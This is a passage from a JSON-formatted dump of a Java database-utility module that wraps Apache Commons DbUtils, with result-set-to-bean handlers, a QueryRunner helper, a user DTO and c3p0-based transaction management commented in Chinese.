    "content": "package com.jun.plugin.dbutils.dbutil;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.util.Date;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.dbutils.ResultSetHandler;\n\npublic class BeanHandler implements ResultSetHandler {\n\n\tprivate Class clazz;\n\n\tpublic BeanHandler(Class clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\t// 将结果集的第一行数据封装到bean返回\n\tpublic Object handle(ResultSet rs) {\n\t\ttry {\n\t\t\tif (rs.next()) {\n\t\t\t\tObject bean = this.clazz.newInstance();\n\t\t\t\tResultSetMetaData metaData = rs.getMetaData();// 获取rs的元数据,该元数据可以获得列的数量和对应列索引处的列的名称值\n\t\t\t\tint columnCount = metaData.getColumnCount();\n\t\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\t\tString columnName = metaData.getColumnName(i);\n\t\t\t\t\tObject value = rs.getObject(columnName);// 根据列的名称获取对应的值\n\t\t\t\t\tif (value instanceof Integer) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Integer) value);// 将值转化为对应的类型然后反射到对应对象属性中。\n\t\t\t\t\t} else if (value instanceof String) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (String) value);\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Date) value);\n\t\t\t\t\t} else if (value instanceof Boolean) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Boolean) value);\n\t\t\t\t\t} else if (value instanceof Float) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Float) value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn bean;\n\t\t\t}\n\t\t\treturn null;\n\t\t} catch (Exception e) {\n\t\t\ttry {\n\t\t\t\tthrow new Exception(e);\n\t\t\t} catch (Exception e1) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn rs;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/dbutil/BeanListHandler.java",
    "content": "package com.jun.plugin.dbutils.dbutil;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.dbutils.ResultSetHandler;\n\npublic class BeanListHandler implements ResultSetHandler {\n\n\tprivate Class clazz;\n\n\tpublic BeanListHandler(Class clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\t// 将结果集的每一行封装到bean，将bean加入一个list返回\n\tpublic Object handle(ResultSet rs) {\n\t\ttry {\n\t\t\tList list = new ArrayList();\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject bean = this.clazz.newInstance();\n\t\t\t\tResultSetMetaData metaData = rs.getMetaData();\n\t\t\t\tint columnCount = metaData.getColumnCount();\n\t\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\t\tString columnName = metaData.getColumnName(i);\n\t\t\t\t\tObject value = rs.getObject(columnName);\n\n\t\t\t\t\tif (value instanceof Integer) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Integer) value);\n\t\t\t\t\t} else if (value instanceof String) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (String) value);\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Date) value);\n\t\t\t\t\t} else if (value instanceof Boolean) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Boolean) value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlist.add(bean);\n\t\t\t}\n\t\t\treturn list;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn rs;\n\t}\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/dbutil/DBUtil.java",
    "content": "package com.jun.plugin.dbutils.dbutil;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.ResultSetHandler;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\nimport org.apache.log4j.Logger;\n//import org.junit.Test;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\n\n\npublic class DBUtil {\n\n\tprivate static final Logger log = Logger.getLogger(DBUtil.class);\n\n\tpublic static QueryRunner run = new QueryRunner(DataSourceUtil.getDataSource());\n\tpublic static Connection conn = DataSourceUtil.getConn();\n\tstatic {\n\t\trun = new QueryRunner(DataSourceUtil.getDataSource());\n\t\tconn = DataSourceUtil.getConn();\n\t}\n\n\tpublic DBUtil() {\n\n\t}\n\n\tpublic static QueryRunner getRunner() {\n\t\treturn new QueryRunner();\n\t}\n\n\tpublic List<Map<String, Object>> queryForJdbc(String sql) {\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\ttry {\n\t\t\tStatement st = conn.createStatement();\n\t\t\tResultSet rs = st.executeQuery(sql);\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\tint cols = rsmd.getColumnCount();\n\t\t\twhile (rs.next()) {\n\t\t\t\tMap<String, Object> mm = new HashMap<String, Object>();\n\t\t\t\tfor (int i = 0; i < cols; i++) {\n\t\t\t\t\tString colName = rsmd.getColumnName(i + 1);\n\t\t\t\t\tObject val = rs.getObject(i + 1);\n\t\t\t\t\tmm.put(colName, val);\n\t\t\t\t}\n\t\t\t\tlist.add(mm);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * \n\t * @param sql\n\t * @param params\n\t */\n\tpublic int insert(String sql, Object[] params) {\n\t\tint affectedRows = 0;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\taffectedRows = run.update(sql);\n\t\t\t} else {\n\t\t\t\taffectedRows = run.update(sql, params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"insert.test\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t/**\n\t * \n\t * @param sql\n\t */\n\tpublic int update(String sql) {\n\t\treturn update(sql, null);\n\t}\n\n\t/**\n\t * @param sql\n\t * @param param\n\t */\n\tpublic int update(String sql, Object param) {\n\t\treturn update(sql, new Object[] { param });\n\t}\n\n\t/**\n\t * @param sql\n\t * @param params\n\t */\n\tpublic int update(String sql, Object[] params) {\n\t\tint affectedRows = 0;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\taffectedRows = run.update(sql);\n\t\t\t} else {\n\t\t\t\taffectedRows = run.update(sql, params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"update.1111\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t/**\n\t * \n\t * @param sql\n\t * @param params\n\t */\n\tpublic int[] batchUpdate(String sql, Object[][] params) {\n\t\tint[] affectedRows = new int[0];\n\t\ttry {\n\t\t\taffectedRows = run.batch(sql, params);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"update.1111\" + sql, e);\n\t\t}\n\t\treturn affectedRows;\n\t}\n\n\t \n\tpublic List<Map<String, Object>> find(String sql) {\n\t\treturn find(sql, null);\n\t}\n\n\t \n\tpublic List<Map<String, Object>> find(String sql, Object param) {\n\t\treturn find(sql, new Object[] { param });\n\t}\n\n\t \n\t \n\tpublic List<Map<String, Object>> findPage(String sql, int page, int count, Object... params) {\n\t\tsql = sql + \" LIMIT ?,?\";\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler(), new Integer[] { page, count });\n\t\t\t} else {\n\t\t\t\t// list = (List<Map<String, Object>>) run.query(sql, new MapListHandler(),\n\t\t\t\t// ArrayUtils.addAll(params, new Integer[] { page, count }));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"map 11111\", e);\n\t\t}\n\t\treturn list;\n\t}\n \n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<Map<String, Object>> find(String sql, Object[] params) {\n\t\tList<Map<String, Object>> list = new ArrayList<Map<String, Object>>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler());\n\t\t\t} else {\n\t\t\t\tlist = (List<Map<String, Object>>) run.query(sql, new MapListHandler(), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"map 111\", e);\n\t\t}\n\t\treturn list;\n\t}\n \n\tpublic <T> List<T> find(Class<T> entityClass, String sql) {\n\t\treturn find(entityClass, sql, null);\n\t}\n\n\t \n\tpublic <T> List<T> find(Class<T> entityClass, String sql, Object param) {\n\t\treturn find(entityClass, sql, new Object[] { param });\n\t}\n \n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> List<T> find(Class<T> entityClass, String sql, Object[] params) {\n\t\tList<T> list = new ArrayList<T>();\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tlist = (List<T>) run.query(sql, new BeanListHandler(entityClass));\n\t\t\t} else {\n\t\t\t\tlist = (List<T>) run.query(sql, new BeanListHandler(entityClass), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"Error occured while attempting to query data\", e);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic <T> T findFirst(Class<T> entityClass, String sql) {\n\t\treturn findFirst(entityClass, sql, null);\n\t}\n\n\t \n\tpublic <T> T findFirst(Class<T> entityClass, String sql, Object param) {\n\t\treturn findFirst(entityClass, sql, new Object[] { param });\n\t}\n\n\t \n\t@SuppressWarnings(\"unchecked\")\n\tpublic <T> T findFirst(Class<T> entityClass, String sql, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new BeanHandler(entityClass));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new BeanHandler(entityClass), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tlog.error(\"1111  findFirst\" + e.getMessage());\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn (T) object;\n\t}\n\n\t \n\tpublic Map<String, Object> findFirst(String sql) {\n\t\treturn findFirst(sql, null);\n\t}\n\n\t \n\tpublic Map<String, Object> findFirst(String sql, Object param) {\n\t\treturn findFirst(sql, new Object[] { param });\n\t}\n \n\t@SuppressWarnings(\"unchecked\")\n\tpublic Map<String, Object> findFirst(String sql, Object[] params) {\n\t\tMap<String, Object> map = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tmap = (Map<String, Object>) run.query(sql, new MapHandler());\n\t\t\t} else {\n\t\t\t\tmap = (Map<String, Object>) run.query(sql, new MapHandler(), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findFirst.11111\" + sql, e);\n\t\t}\n\t\treturn map;\n\t}\n\n\t \n\tpublic Object findBy(String sql, String params) {\n\t\treturn findBy(sql, params, null);\n\t}\n\n\t \n\tpublic Object findBy(String sql, String columnName, Object param) {\n\t\treturn findBy(sql, columnName, new Object[] { param });\n\t}\n\n\t \n\tpublic Object findBy(String sql, String columnName, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnName));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnName), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findBy1111\" + sql, e);\n\t\t}\n\t\treturn object;\n\t}\n \n\tpublic Object findBy(String sql, int columnIndex) {\n\t\treturn findBy(sql, columnIndex, null);\n\t}\n\n\t \n\tpublic Object findBy(String sql, int columnIndex, Object param) {\n\t\treturn findBy(sql, columnIndex, new Object[] { param });\n\t}\n\n\tpublic Object findBy(String sql, int columnIndex, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnIndex));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnIndex), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findBy.123\" + sql, e);\n\t\t}\n\t\treturn object;\n\t}\n\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int[] batch(String sql, Object[][] params) throws Exception {\n\t\tint[] rows = null;\n\n\t\ttry {\n\t\t\trows = run.batch(conn, sql, params);\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\tpublic int executeUpdate(String sql) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\t\t\trows = run.update(conn, sql);\n\t\t} finally {\n\n\t\t}\n\t\treturn rows;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int executeUpdate(String sql, Object param) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\t\t\trows = run.update(conn, sql, param);\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int executeUpdate(String sql, Object[] params) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\n\t\t\trows = run.update(conn, sql, params);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\tpublic Object queryToBean(Class type, String sql) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\n\t\t\tresult = run.query(conn, sql, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic Object queryToBean(Class type, String sql, Object param) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\n\t\t\tresult = run.query(conn, sql, param, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic Object queryToBean(Class type, String sql, Object[] params) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\t\t\tresult = run.query(conn, sql, params, h);\n\t\t} finally {\n\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic ArrayList queryToBeanList(Class type, String sql) throws Exception {\n\n\t\tArrayList result = null;\n\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\t\t\tresult = (ArrayList) run.query(conn, sql, h);\n\t\t} finally {\n\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic ArrayList queryToBeanList(Class type, String sql, Object param) throws Exception {\n\n\t\tArrayList result = null;\n\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\n\t\t\tresult = (ArrayList) run.query(conn, sql, param, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic ArrayList queryToBeanList(Class type, String sql, Object[] params) throws Exception {\n\n\t\tArrayList result = null;\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\n\t\t\tresult = (ArrayList) run.query(conn, sql, params, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/dbutil/HnadlerFactory.java",
    "content": "package com.jun.plugin.dbutils.dbutil;\n\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\npublic class HnadlerFactory {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandler(Object obj) {\n\t\tBeanListHandler handler = new BeanListHandler(obj.getClass());\n\t\treturn handler;\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandlerForObject() {\n\t\tBeanListHandler handler = new BeanListHandler(Object.class);\n\t\treturn handler;\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandlerForMap() {\n\t\tBeanListHandler handler = new BeanListHandler(Map.class);\n\t\treturn handler;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/dto/UserDto.java",
    "content": "package com.jun.plugin.dbutils.dto;\n\nimport java.sql.Timestamp;\n\npublic class UserDto implements java.io.Serializable {\n\tprivate static final long serialVersionUID = 1L;\n\tprivate Integer id;\n\tprivate String username;\n\tprivate String password;\n\tprivate Timestamp inserttime;\n\n\tpublic UserDto() {\n\t}\n\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUsername() {\n\t\treturn username;\n\t}\n\n\tpublic void setUsername(String username) {\n\t\tthis.username = username;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic Timestamp getInserttime() {\n\t\treturn inserttime;\n\t}\n\n\tpublic void setInserttime(Timestamp inserttime) {\n\t\tthis.inserttime = inserttime;\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/hander/BeanHandler2.java",
    "content": "package com.jun.plugin.dbutils.hander;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.util.Date;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.dbutils.ResultSetHandler;\n\n\npublic class BeanHandler2 implements ResultSetHandler {\n\n\tprivate Class clazz;\n\n\tpublic BeanHandler2(Class clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\t// 将结果集的第一行数据封装到bean返回\n\tpublic Object handle(ResultSet rs) {\n\t\ttry {\n\t\t\tif (rs.next()) {\n\t\t\t\tObject bean = this.clazz.newInstance();\n\t\t\t\tResultSetMetaData metaData = rs.getMetaData();// 获取rs的元数据,该元数据可以获得列的数量和对应列索引处的列的名称值\n\t\t\t\tint columnCount = metaData.getColumnCount();\n\t\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\t\tString columnName = metaData.getColumnName(i);\n\t\t\t\t\tObject value = rs.getObject(columnName);// 根据列的名称获取对应的值\n\t\t\t\t\tif (value instanceof Integer) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Integer) value);// 将值转化为对应的类型然后反射到对应对象属性中。\n\t\t\t\t\t} else if (value instanceof String) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (String) value);\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Date) value);\n\t\t\t\t\t} else if (value instanceof Boolean) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Boolean) value);\n\t\t\t\t\t} else if (value instanceof Float) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Float) value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn bean;\n\t\t\t}\n\t\t\treturn null;\n\t\t} catch (Exception e) {\n\t\t\ttry {\n\t\t\t\tthrow new Exception(e);\n\t\t\t} catch (Exception e1) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn rs;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/hander/BeanListHandler2.java",
    "content": "package com.jun.plugin.dbutils.hander;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.dbutils.ResultSetHandler;\n\npublic class BeanListHandler2 implements ResultSetHandler {\n\n\tprivate Class clazz;\n\n\tpublic BeanListHandler2(Class clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\t// 将结果集的每一行封装到bean，将bean加入一个list返回\n\tpublic Object handle(ResultSet rs) {\n\t\ttry {\n\t\t\tList list = new ArrayList();\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject bean = this.clazz.newInstance();\n\t\t\t\tResultSetMetaData metaData = rs.getMetaData();\n\t\t\t\tint columnCount = metaData.getColumnCount();\n\t\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\t\tString columnName = metaData.getColumnName(i);\n\t\t\t\t\tObject value = rs.getObject(columnName);\n\n\t\t\t\t\tif (value instanceof Integer) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Integer) value);\n\t\t\t\t\t} else if (value instanceof String) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (String) value);\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Date) value);\n\t\t\t\t\t} else if (value instanceof Boolean) {\n\t\t\t\t\t\tBeanUtils.setProperty(bean, columnName, (Boolean) value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlist.add(bean);\n\t\t\t}\n\t\t\treturn list;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn rs;\n\t}\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/hander/HnadlerFactory.java",
    "content": "package com.jun.plugin.dbutils.hander;\n\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\npublic class HnadlerFactory {\n\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandler(Object obj) {\n\t\tBeanListHandler handler = new BeanListHandler(obj.getClass());\n\t\treturn handler;\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandlerForObject() {\n\t\tBeanListHandler handler = new BeanListHandler(Object.class);\n\t\treturn handler;\n\t}\n\t\n\tpublic static BeanListHandler BeanListHandlerForMap() {\n\t\tBeanListHandler handler = new BeanListHandler(Map.class);\n\t\treturn handler;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/jdbc/JdbcUtils.java",
    "content": "package com.jun.plugin.dbutils.jdbc;\n\nimport com.mchange.v2.c3p0.ComboPooledDataSource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n/**\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class JdbcUtils {\n    private static final Logger logger = LoggerFactory.getLogger(JdbcUtils.class);\n\n    /**\n     * 采用饿汉模式，默认 c3p0-copnfig.xml 文件，所以使用该工具需在 classpath 中添加 c3p0-copnfig.xml 配置文件\n     */\n    private static DataSource ds = new ComboPooledDataSource();\n\n    /**\n     * 它为null表示没有事务\n     * 它不为null表示有事务\n     * 当开启事务时，需要给它赋值\n     * 当结束事务时，需要给它赋值为null\n     * 并且在开启事务时，让dao的多个方法共享这个Connection\n     */\n    private static ThreadLocal<Connection> tl = new ThreadLocal<>();\n\n    public static DataSource getDataSource() {\n        return ds;\n    }\n//\n//    private static void setDataSource(DataSource ds) {\n//        JdbcUtils.ds = ds;\n//    }\n\n    /**\n     * 获取当前线程数据库连接\n     *\n     * @return Connection\n     * @throws SQLException\n     */\n    public static Connection getConnection() throws SQLException {\n        // 如果有事务，返回当前事务的con\n        // 如果没有事务，通过连接池返回新的con\n        Connection con = tl.get();\n        if (con != null) {\n            return con;\n        }\n        return ds.getConnection();\n    }\n\n    /**\n     * 开启事务\n     *\n     * @throws SQLException\n     */\n    public static void begin() throws SQLException {\n        //获取当前线程的事务连接\n        Connection con = tl.get();\n        if (con != null) {\n            throw new SQLException(\"已经开启了事务，不能重复开启！\");\n        }\n        //给con赋值，表示开启了事务\n        con = ds.getConnection();\n        //设置为手动提交\n        con.setAutoCommit(false);\n        tl.set(con);\n    }\n\n    /**\n     * 提交事务\n     *\n     * @throws SQLException\n     */\n    public static void commit() throws SQLException {\n        //获取当前线程的事务连接\n        Connection con = tl.get();\n        if (con == null) {\n            throw new SQLException(\"没有事务不能提交！\");\n        }\n        con.commit();\n        con.close();\n        tl.remove();\n    }\n\n    /**\n     * 回滚事务\n     *\n     * @throws SQLException\n     */\n    public static void rollback() throws SQLException {\n        Connection con = tl.get();\n        //获取当前线程的事务连接\n        if (con == null) {\n            throw new SQLException(\"没有事务不能回滚！\");\n        }\n        con.rollback();\n        con.close();\n        tl.remove();\n    }\n\n    /**\n     * 释放Connection\n     *\n     * @param connection\n     * @throws SQLException\n     */\n    public static void releaseConnection(Connection connection) throws SQLException {\n        //获取当前线程的事务连接\n        Connection con = tl.get();\n        //如果参数连接，与当前事务连接不同，说明这个连接不是当前事务，可以关闭！\n        if (connection != con) {\n            //如果参数连接没有关闭，关闭之！\n            if (connection != null && !connection.isClosed()) {\n                connection.close();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/jdbc/TxQueryRunner.java",
    "content": "package com.jun.plugin.dbutils.jdbc;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.ResultSetHandler;\n\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n/**\n * 这个类中的方法，自己来处理连接的问题\n * 通过JdbcUtils.getConnection()得到连接！有可能是事务连接，也可能是普通的连接！\n * JdbcUtils.releaseConnection()完成对连接的释放！如果是普通连接，关闭之！\n * <p>\n * Created by chenghui.zhang on 2018/2/10.\n */\npublic class TxQueryRunner extends QueryRunner {\n    @Override\n    public int[] batch(String sql, Object[][] params) throws SQLException {\n        /*\n         * 1. 得到连接\n         * 2. 执行父类方法，传递连接对象\n         * 3. 释放连接\n         * 4. 返回值\n         */\n        Connection con = JdbcUtils.getConnection();//这个类就把调用这个方法的人少写了这两行代码，如在dao层调用的时候使代码更优雅\n        int[] result = super.batch(con, sql, params);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public <T> T query(String sql, Object param, ResultSetHandler<T> rsh)\n            throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        T result = super.query(con, sql, param, rsh);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public <T> T query(String sql, Object[] params, ResultSetHandler<T> rsh)\n            throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        T result = super.query(con, sql, params, rsh);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public <T> T query(String sql, ResultSetHandler<T> rsh, Object... params)\n            throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        T result = super.query(con, sql, rsh, params);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public <T> T query(String sql, ResultSetHandler<T> rsh) throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        T result = super.query(con, sql, rsh);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public int update(String sql) throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        int result = super.update(con, sql);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public int update(String sql, Object param) throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        int result = super.update(con, sql, param);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n\n    @Override\n    public int update(String sql, Object... params) throws SQLException {\n        Connection con = JdbcUtils.getConnection();\n        int result = super.update(con, sql, params);\n        JdbcUtils.releaseConnection(con);\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/metadata/TestDatabaseMetaData.java",
